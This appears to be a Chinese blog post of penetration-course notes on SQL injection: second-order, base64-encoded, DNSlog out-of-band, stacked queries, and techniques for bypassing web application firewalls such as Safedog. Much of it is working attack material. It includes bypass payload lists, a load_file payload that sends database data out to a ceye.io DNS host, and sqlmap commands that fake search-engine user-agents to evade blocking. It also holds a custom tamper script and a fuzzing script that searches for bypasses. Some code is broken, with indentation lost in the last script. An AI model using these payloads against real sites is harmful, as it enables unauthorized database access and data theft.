        c = s.get(url ,timeout=10)
        #print c.text
        if 'are' in c.text:
            flag += j
            print(flag)
            break
------------------------------------------------------------------------------
#asp与access数据注入源码
https://pan.baidu.com/s/1IX6emxDpvYrVZbQzJbHn3g 提取码:l9f6
腾讯文档-与我共享-Sqlilabs 过关手册注入天书.pdf
insert 注入练习-小迪渗透吧<br>
<form action='' method='get'>
编号:<input type='text' name='i'><br>
帐号:<input type='text' name='u'><br>
密码:<input type='text' name='p'><br>
<input type='submit' value='添加'><br>
</form>
delete 注入练习-小迪渗透吧<br>
<form action='' method='post'>
编号:<input type='text' name='i'><br>
<input type='submit' value='删除'><br>
</form>
update 注入练习-小迪渗透吧<br>
<form action='' method='post'>
帐号:<input type='text' name='user'><br>
密码:<input type='text' name='pass'><br>
<input type='submit' value='更新'><br>
</form>
<?php
//小迪渗透吧-培训专用代码-www.xiaodi8.com
header("Content-Type: text/html;charset=utf-8");
echo '<hr>';
//insert 代码块
$id=@$_GET['i'];

WEB 漏洞-二次,加解密,DNS 等注入

在这里插入图片描述

#加密注入:
1.网站参数进行了加密,需要判断相应加密方式进行解密
2.再次将注入参数与注入语句进行拼接加密,进行注入使该网站能够正常解析
---------------------------------------------------------------
#二次注入:
1.通过前端后端,网站功能以及黑盒测试是无法判断二次注入的存在,只能通过审计代码,从源代码上判断出二次注入
2.判断可能存在二次注入的方法,有数据互连的地方,比如:注册用户与登录用户相连,修改用户等等
3.二次注入原理:通过第一次注入将sql注入语句带入进去,在第二次执行与第一次相连的数据时进行执行注入语句得到回显(类似于注册用户时:admin' and 1=1,更新该用户密码时:执行了and 1=1 实现了二次注入)
	eg. 
		insert into news(id,user,passwd) values(2,'admin' 'and 1=1','admin')	注册用户
		admin' and 1=1
		update user set pwd='$p' where id=2 and username='admin'	更新密码	
		and 1=1
---------------------------------------------------------------------------------------
#注入原理,演示案例,实际应用(中转注入)
#中转注入:在对加密网站进行注入时,每次都要进行加密成一样的格式网站才能正常解析,很麻烦,这时候就可以用到中转注入
1.自己开发脚本或工具
eg. 
	<?php
		$url="xx.xx.xx/?id="
		$payload=base64_encode($_get['x']);
		$url_encode=$url.$payload;
		file_get_contents();
	?>
2.使用sqlmap等等工具的插件	sqlmap -u "xx.xx.xx"	-tamper (例如:base64.py)
-----------------------------------------------
#DNSlog:	
1.就是通过注入语句load_file函数去访问我们的dns地址,在我们的dns记录里会得到我们注入出的信息
2.条件需要高权限用户才能进行dnslog注入,需要使用读写权限
#解决了盲注不能回显数据,效率低的问题		//应用范围
手工:
	http://127.0.0.1:8080/sqlilabs/less-2/?id=-1 and if((select load_file(concat('\\\\',(select
version()),'.1t7i2f.ceye.io\\abc'))),1,0)--+
脚本:
	D:\Python27\python.exe dnslogSql.py -u "http://127.0.0.1:8080/sqlilabs/Less-9/?id=1' and ({})--+"
-----------------------------------------------------------------------------------------
#堆叠查询注入
#注入得到管理员账号密码,密码是加密的,无法解密
#堆叠注入进行插入数据,用户自定义的密码,可以正常登录
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实
的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。
这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
#堆叠注入:
1.注意,堆叠注入有的数据库并不支持
2.堆叠注入就是把多条语句放到一起执行
eg.
	select * from user where id=1;select * from emali;
-----------------------------------------------------------
#用户权限
在数据库中常在用户中分组,管理员组或普通用户组,更改所属组更改用户权限
或在数据库中用户表中字段type类型为admin管理员等等

在这里插入图片描述

演示案例
#sqlilabs-less21-cookie&加解密注入(实际案例)
base64加密
#sqlilabs-less24-post 登陆框&二次注入(实际案例)
通过insert注入,将注入语句带入数据库,使用update注入执行注入语句
#sqlilabs-less9-load_file&dnslog 带外注入(实际案例)
高权限用户,有读写权限
使用load_file函数对ceye.io上dns进行读取,在dns记录上获取信息
#py-DnslogSqlinj-dnslog 注入演示脚本演示(实际案例)
使用DnslogSqlinj工具,专门针对与dnslog注入,注意在工具的config文件中添加自己的接口和地址,运行环境python2.7
#Sqlilabs-Less38-堆叠注入(多语句)
在原有语句之后加上我们自定义的sql语句进行堆叠注入
eg.
	原有sql语句
	$sql="select * from user id='1' limit=1";
	堆叠注入语句,注意封闭引号,使两条语句都在$sql="中"
	$sql="select * from user id='1' limit=1";";insert into user('username','passwd');
涉及资源

DNS接口

​ http://ceye.io/

DNSlog工具

​ https://github.com/ADOOO/DnslogSqlinj

#中转代码示例
<?php
$url='http://xxxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64_encode($_GET['x']);
echo $payload;
$urls=$url.$payload;
?>

WEB 漏洞-堆叠及 WAF 绕过注入

在这里插入图片描述
在这里插入图片描述

#phpstudy+safedog 安装找不到服务解决
#市面上常见的 waf 产品列表分析-wafw00f
#部分 bypass sqlinject payload
id=1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23
id=-1 union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
id=1/**&id=-1%20union%20select%201,2,3%23*/
id=-1 %20union%20all%23%0a%20select%201,2,3%23
-1 %20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23
-----------------------------------------------------------------
#每个绕过的东西不一样的话,方法、思路都不一样,每个东西的检测规则与防护规则都不一样
#绕过原理:既保证sql语句正常运行结果,又防止软件的正常匹配来实现绕过
绕过中要看具体方面:
从网站访问方式测试		在安全狗软件中会对特定关键字进行拦截
拦截方式包括:	url访问	post访问	cookie访问等等
从数据中关键字测试		数据中关键字进行拦截
进行编码等等方式
特殊符号与注释符混用	注意在特定的数据库中都有不一样	
如mysql注释符:/**/	/***/	#
#参数污染
HPP发生在查询参数中,查询参数通常是指URI中“?”和URI结尾之间的部分,是一系列的域值对,可以参考RFC 3986查看其具体定义,这些域值对是通过“&”分开的,例如:name=admin&password=Test@123。如果用户输入的name的值为:admin&password=123,数据没有经过任何处理用于提交请求,那么这个URL就会被篡改为:name=admin&password=123&password=Test@123。

在这里插入图片描述

演示案例
#WAF 部署-安全狗,宝塔等 waf 搭建部署
#简要讲解安全狗,宝塔等防护 waf 策略规则
#简要演示安全狗 bypass sqlinject 防护规则
?id=1/**&id=-1 union select 1,2,3#*/
因为服务器是apache,所以参数污染后,接受参数为:id=-1 union select 1,2,3#
安全狗匹配关键字的时候是1/**-1 union select 1,2,3#*/或1/**&id=-1%20union%20select%201,2,3%23*/其中符号中起到注释作用,正常情况下没有执行,安全狗直接不管,但是参数污染导致接受的真实数据是
当前执行语句:select * from users where id=-1 union select 1,2,3#*/
#实测简易 CMS 头部注入漏洞 Bypass 原理分析
涉及资源
https://www.cnblogs.com/backlion/p/9721687.html
https://blog.csdn.net/nzjdsds/article/details/93740686
#应用层
大小写/关键字替换
id=1 UnIoN/**/SeLeCT 1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
各种编码
大小写,URL,hex,%0A 等
注释使用
// -- --+ # /**/ + :%00 /!**/等
再次循环
union==uunionnion
等价替换
user()=@@user() and=& or=| ascii=hex 等
参数污染
?id=1&id=2&id=3
编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64 等
更改请求提交方式
GET POST COOKIE 等
POST->multipart/form-data
中间件 HPP 参数污染
#数据库特性
1、Mysql 技巧
(1)mysql 注释符有三种:#、/*...*/、-- ... (注意--后面有一个空格)
(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符号:%a 换行符
可结合注释符使用%23%0a,%2d%2d%0a。
(3)内联注释:
/*!UnIon12345SelEcT*/ 1,user() //数字范围 1000-50540
(4)mysql 黑魔法
select{x username}from {x11 test.admin};
2、SQL Server 技巧
(1)用来注释掉注射后查询的其余部分:
/* C 语言风格注释
-- SQL 注释
; 00% 空字节
(2)空白符:[0x01-0x20]
(3)特殊符号:%3a 冒号
id=1 union:select 1,2 from:admin
(4)函数变形:如 db_name[空白字符]()
3、Oracle 技巧
(1)注释符:--、/**/
(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]
4.配合 FUZZ
select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】
from【位置五】admin
#逻辑层
1、逻辑问题
(1)云 waf 防护,一般我们会尝试通过查找站点的真实 IP,从而绕过 CDN 防护。
(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。
(3)HTTP 和 HTTPS 同时开放服务,没有做 HTTP 到 HTTPS 的强制跳转,导致 HTTPS 有 WAF 防护,HTTP
没有防护,直接访问 HTTP 站点绕过防护。
(4)特殊符号%00,部分 waf 遇到%00 截断,只能获取到前面的参数,无法获取到后面的有害参数
输 入 , 从 而 导 致 Bypass 。 比 如 : id=1%00and 1=2 union select 1,2,column_name from
information_schema.columns
2、性能问题
猜想 1:在设计 WAF 系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只
要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。
猜想 2:不少 WAF 是 C 语言写的,而 C 语言自身没有缓冲区保护机制,因此如果 WAF 在处理测试向
量时超出了其缓冲区长度就会引发 bug,从而实现绕过。
例子 1:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
PS:0xA*1000 指 0xA 后面”A"重复 1000 次,一般来说对应用软件构成缓冲区溢出都需要较大的测试
长度,这里 1000 只做参考也许在有些情况下可能不需要这么长也能溢出。
例子 2:
?a0=0&a1=1&.....&a100=100&id=1 union select 1,schema_name,3 from
INFORMATION_SCHEMA.schemata
备注:获取请求参数,只获取前 100 个参数,第 101 个参数并没有获取到,导致 SQL 注入绕过。
3、白名单
方式一:IP 白名单
从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情
况。
测试方法:修改 http 的 header 来 bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测
效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别
方式三:url 白名单
为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url
中存在白名单的字符串,就作为白名单不进行检测。常见的 url 构造姿势:

WEB 漏洞-SQLMAP 绕过 WAF

在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便我们更灵活地去构造 Payload,从而可以和各种WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用。
在这里插入图片描述

演示案例
#简要其他绕过方式学习
#白名单
方式一:IP 白名单
从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情
况。
测试方法:修改 http 的 header 来 bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
#伪造白名单方法:
1.获取对方服务器真实ip使用以上五种任意一种方式伪造客户端ip进行白名单绕过
2.注意在伪造白名单时有一定要求,在对方服务器是用对应脚本来获取ip的话可以使用,但是对方是在tcp层网络层上接收ip的话就不行
---------------------------------------------------------------------------------------
#静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测
效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别
#在老版本waf应用上,waf只会针对与脚本型文件的参数进行过滤,如果是静态的资源如txt,jpg等等上注入就会放行语句
---------------------------------------------------------------------------------------
#url 白名单
为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url
中存在白名单的字符串,就作为白名单不进行检测。常见的 url 构造姿势:
---------------------------------------------------------------------------------------
#爬虫白名单
在一些搜索引擎中需要爬取网站的内容,网站就会设置特定的搜索引擎白名单
#扩展知识
在waf型网站中都会有流量访问控制,当你使用扫描工具扫描时就会被网站拉黑,拦截,判断为恶意流量
利用搜索引擎头部进行伪造搜索引擎的白名单进行扫描或注入waf都会忽略,认为这是正常的
搜索引擎头部伪造:
	User-Agent:xxxxxxxxxx
伪造脚本:
import json
import requests

url='http://192.168.0.103:8080/'

head={
	'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
}
for data in open('PH1P.txt'):
    data=data.replace('\n','')
    urls=url+data
    code=requests.get(urls).status_code
    print(urls+'|'+str(code))
---------------------------------------------------------------------------------------
#FUZZ 绕过脚本结合编写测试
-----------------------------------------------------------------------------------------
#阿里云盾防 SQL 注入简要分析
#安全狗+云盾 SQL 注入插件脚本编写
#知识点:不论是使用手工还是工具进行注入,只有能够与网站正常访问通讯才能进行测试
1.waf扫描工具黑名单问题
sqlmap工具插件使用:
sqlmap -u "xxx.xx.xx?id=1" --tamper=脚本名
#使用插件绕过waf,发现还是无法成功,为什么?因为在waf工具中有工具拦截名单,工具拦截名单会根据工具注入的url请求头中:User-Agent:https://sqlmap.org这种就会被拦截过滤掉,这里添加代理使用burp抓包看一下数据包:
#发现User-Agent:https://sqlmap.org在黑名单中
#注意这里在waf应用中会拦截http头部带有注入工具的拦截,就是注入攻击拦截名单
sqlmap -u "xxx.xx.xx?id=1" --tamper=脚本名	--porxy=htpp://127.0.0.1:8080
#这时调用sqlmap中浏览器指纹头字典参数进行绕过waf工具黑名单
sqlmap -u "xxx.xx.xx?id=1" --tamper=脚本名 --porxy=http://127.0.0.1:8080 --random-agent
2.流量防护(cc攻击)问题
遇到waf防护时,在过度的扫描过程会导致网站将目标拉黑,无法正常访问通讯
解决方法:
	(1)搜索引擎爬虫在waf中会有白名单权限,可以正常爬取网站内容
	#使用sqlmap中自定义浏览器user-agent头参数,这里使用百度的(名企的都可以),使用抓包在看一下
	sqlmap -u "xxx.xx.xx/?id=1" --tamper=脚本名 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" --proxy=http://127.0.0.1:8080
	(2)延时函数,设置时间间隔
	#使用sqlmap中延时参数	--delay 1(时间秒)
	sqlmap -u "xxx.xx.xx/?id=1" --tamper=脚本名 --random-agent --delay 1
	(3)代理池
	#代理池:就是ip的池,在对方拦截1.1.1.1时,换掉使用1.1.1.2依次
	需要使用pyhton开发一个代理池
------------------------------------------------------------------------------
#扩展,如果对方waf工具黑名单中对应匹配的不是agent指纹头的话,并且工具不支持该功能的修改怎么办呢?
1.网站数据包信息写在txt文件中,进行手动修改对应参数
sqlmap -r 1.txt --tamper=脚本名 --porxy=htpp://127.0.0.1
把数据包信息写在1.txt中,将拦截的工具特有的信息进行更改
2.中转脚本
#与二次注入中转注入相似
脚本开发思路:
	本地搭建一个脚本网站(数据包可以自定义)——>远程地址(目标网站注入地址)
	sqlmap去跑本地脚本搭建的网站地址,实现中转去访问目标地址
------------------------------------------------------------------------------------------
#注意绕过原理:在保持正常语句的运行结果,绕过waf关键字的过滤
%23x%0aunion%23x%0Aselect%201,2,3
#版本号绕过,/*!50001 select 1,2,3*/	:	mysql特有的判断数据库版本,判断数据库版本是否大于5.0.0.0.1,如果大于就执行后面语句,可以用这个特性尝试绕过waf
%20union%20/*!44509select*/%201,2,3
%20/*!44509union*/%23x%0aselect%201,2,3
#参数污染,根据特定搭建的平台判断执行哪个参数,对waf的关键字过滤进行干扰绕过
id=1/**&id=-1%20union%20select%201,2,3%23*/
#特殊字符干扰绕过,对其语句加上特定的字符干扰waf判断进行绕过
%20union%20all%23%0a%20select%201,2,3%23
	all: 加上可以执行
	%23	: #
	#a:	注释	垃圾字符干扰waf
	%0a:换行符	截断waf关键字匹配
涉及资源
#sqlmap中tamper自定义插件代码
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" %
(os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
#%23a%0aunion/*!44575select*/1,2,3
if payload:
payload = payload.replace("union", "%23a%0aunion")
payload = payload.replace("select", "/*!44575select*/")
payload = payload.replace("%20", "%23a%0a")
payload = payload.replace(" ", "%23a%0a")
payload = payload.replace("database()", "database%23a%0a()")
return payload
------------------------------------------------------------------------------------------
#fuzz批量脚本代码
import requests,time
url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
union='union'
select='select'
num='1,2,3'
a={'%0a','%23'}
aa={'x'}
aaa={'%0a','%23'}
b='/*!'
c='*/'
def bypass():
    for xiaodi in a:
        for xiaodis in aa:
            for xiaodiss in aaa:
                for two in range(44500,44600):
                    urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiaodiss+num
                    #urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xiaodiss+num
                    try:
                        result=requests.get(urls).text
                        len_r=len(result)
                        if (result.find('safedog') == -1):
                            #print('bypass url addreess:' + urls + '|' + str(len_r))
                            print('bypass url addreess:'+urls+'|'+str(len_r))
                            if len_r==715:
                                fp = open('url.txt', 'a+')
                                fp.write(urls + '\n')
                                fp.close()
                    except Exception as err:
                        print('connecting error')
                        time.sleep(0.1)
if __name__ == '__main__':
    print('fuzz strat!')
    bypass()
------------------------------------------------------------------------------------------
#伪装百度引擎进行扫描脚本代码
import json
import requests
url='http://192.168.0.103:8080/'
head={
'User-Agent':'Mozilla/5.0 (compatible;Baiduspider-render/2.0;
+http://www.baidu.com/search/spider.html)'
}
for data in open('PH1P.txt'):
data=data.replace('\n','')
urls=url+data
code=requests.get(urls).status_code
print(urls+'|'+str(code))

(99条消息) 各大搜索引擎爬虫 User-Agent_Daoke37的博客-CSDN博客_神马爬虫

PHP发送HTTP请求的6种方法 - 归回老本行 - 博客园 (cnblogs.com)

SQL注入-安全狗apache最新版绕过 - 腾讯云开发者社区-腾讯云 (tencent.com)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值